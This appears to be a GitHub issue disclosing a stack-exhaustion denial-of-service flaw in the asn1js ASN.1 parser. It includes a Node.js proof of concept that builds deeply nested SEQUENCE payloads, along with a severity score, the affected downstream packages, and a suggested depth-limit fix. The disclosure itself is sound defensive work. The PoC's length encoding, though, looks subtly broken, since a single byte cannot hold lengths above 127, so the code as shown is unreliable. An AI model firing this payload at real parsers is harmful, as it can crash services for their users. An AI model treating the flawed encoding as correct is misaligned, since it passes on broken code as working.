-
Notifications
You must be signed in to change notification settings - Fork 65
Description
Summary
asn1js's fromBER() function recursively parses ASN.1 constructed types (SEQUENCE, SET) without any depth limit. An attacker can craft a DER/BER blob with deeply nested structures to exhaust the JavaScript call stack, crashing Node.js processes or browser tabs.
Severity: High (CVSS v4.0: 8.7)
CWE: CWE-674 (Uncontrolled Recursion)
Similar CVE: CVE-2025-66031 (node-forge - fixed with maxDepth: 256)
This vulnerability affects all applications processing untrusted ASN.1 data, including:
- TLS certificate parsing
- PKCS#12 processing
- X.509 validation
- Any cryptographic operations relying on ASN.1 structures
Attack requirements: Network-accessible ASN.1 parser, ~20KB payload
Impact: Complete service unavailability (process crash)
Technical Details
Vulnerable Code Path
fromBER() [src/parser.ts:276]
→ Constructed.fromBER() [src/Constructed.ts:28]
→ LocalConstructedValueBlock.fromBER() [src/internals/LocalConstructedValueBlock.ts:69]
Core Vulnerability
File: src/internals/LocalConstructedValueBlock.ts:69
while (checkLen(...) > 0) {
const returnObject = localFromBER(view, currentOffset, inputLength);
// ↑ Recursive call with NO depth parameter
this.value.push(returnObject.result);
currentOffset = returnObject.offset;
}Depth limit audit:
grep -rn "depth\|limit\|maxDepth" src/parser.ts src/Constructed.ts src/internals/
# Result: Zero matches in parsing logicNo depth counter, configuration option, or hardcoded limit exists anywhere in the codebase.
Proof of Concept
const asn1js = require('asn1js');
// Craft nested SEQUENCE: 0x30 <len> 0x30 <len> ... × 10,000
function makeNestedSequence(depth) {
let inner = Buffer.alloc(0);
for (let i = 0; i < depth; i++) {
// 0x30 = SEQUENCE tag, followed by length
inner = Buffer.concat([Buffer.from([0x30, inner.length]), inner]);
}
return inner;
}
const payload = makeNestedSequence(10000); // ~20 KB
console.log(`Payload size: ${payload.length} bytes`);
try {
asn1js.fromBER(payload);
console.log('No vulnerability (unexpected)');
} catch (e) {
console.log('Error:', e.message);
// Expected: "RangeError: Maximum call stack size exceeded"
}Payload structure:
0x30= SEQUENCE tag (ASN.1 universal constructed type 16)- Each SEQUENCE contains one nested SEQUENCE
- 10,000 nested SEQUENCEs → 10,000 recursive calls → stack exhaustion
- Payload size: ~20 KB
- Crash threshold: ~8,000-12,000 nesting levels (varies by runtime)
Attack Vectors
- TLS certificate parsing: Malicious certificates with deeply nested extensions
- PKCS#12 file processing: Key import/export operations
- X.509 certificate validation: Certificate chain validation
- S/MIME message processing: Email security
- Code signing: Certificate verification
- Any API accepting ASN.1-encoded input
Impact
Who is impacted:
- Any application using asn1js to parse untrusted ASN.1 data
- TLS/SSL implementations using asn1js for certificate parsing
- PKCS#12 key import/export functionality
- X.509 certificate validation services
- PKI.js users (~700K weekly downloads) - inherits this vulnerability
- @peculiar/x509 users
- webcrypto-liner users
Impact severity:
- Availability: Node.js process termination or browser tab crash
- Attack complexity: Low (straightforward nested structure construction)
- Authentication: Not required
- User interaction: None (automated parsing)
- Payload size: ~20 KB for guaranteed crash
- Scope: Changed (vulnerable application + dependent services/clients)
Package status:
- Weekly downloads: ~6M
- Actively maintained: Yes
Comparison with CVE-2025-66031
CVE-2025-66031 (node-forge):
- Issue: Identical unbounded recursion in ASN.1 parsing
- Fix: Added
maxDepthparameter (default: 256) - Status: Fixed and patched
asn1js:
- Status: NOT implemented similar protection
- Requires: Same mitigation as node-forge
Recommended Fix
Based on the CVE-2025-66031 solution:
export function fromBER(buffer: ArrayBuffer, maxDepth: number = 256): FromBerResult {
// Add depth parameter throughout call chain
return localFromBER(buffer, 0, buffer.byteLength, maxDepth);
}
// In LocalConstructedValueBlock.fromBER:
while (checkLen(...) > 0) {
if (currentDepth >= maxDepth) {
throw new Error('Maximum ASN.1 nesting depth exceeded');
}
const returnObject = localFromBER(view, currentOffset, inputLength, currentDepth + 1);
this.value.push(returnObject.result);
}Default depth limit: 256 (same as node-forge)
Downstream Impact
pkijs (~700K weekly downloads) depends on asn1js and inherits this vulnerability. All 51+ call sites to asn1js.fromBER() across pkijs are vulnerable:
- Certificate parsing
- PKCS#7/CMS processing
- OCSP validation
- CRL parsing
- CSR handling
- PKCS#12 file processing
Recommendation: Fix asn1js first, then update pkijs dependency version.
CVSS v4.0 Assessment
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Score: 8.7 (High)
Breakdown:
AV:N(Network) - Exploitable via TLS, HTTP file upload, API endpointsAC:L(Low) - Trivial nested SEQUENCE constructionAT:N(None) - No additional attack requirementsPR:N(None) - No authentication requiredUI:N(None) - Automated server-side or client-side parsingVA:H(High) - Complete service disruption (process crash)
References
- CWE-674: https://cwe.mitre.org/data/definitions/674.html
- CVE-2025-66031 (node-forge): https://nvd.nist.gov/vuln/detail/CVE-2025-66031
- Package: https://www.npmjs.com/package/asn1js
Disclosure
Discovery Date: 2026-03-19
Researcher: Sion Park
Contact: tldhs1144@gmail.com
I am requesting coordinated disclosure. Please acknowledge this issue and provide an expected timeline for a patch.
Note: This vulnerability parallels CVE-2025-66031 in node-forge, which was successfully fixed by adding a maxDepth parameter. asn1js requires the same mitigation to protect users and downstream packages like pkijs.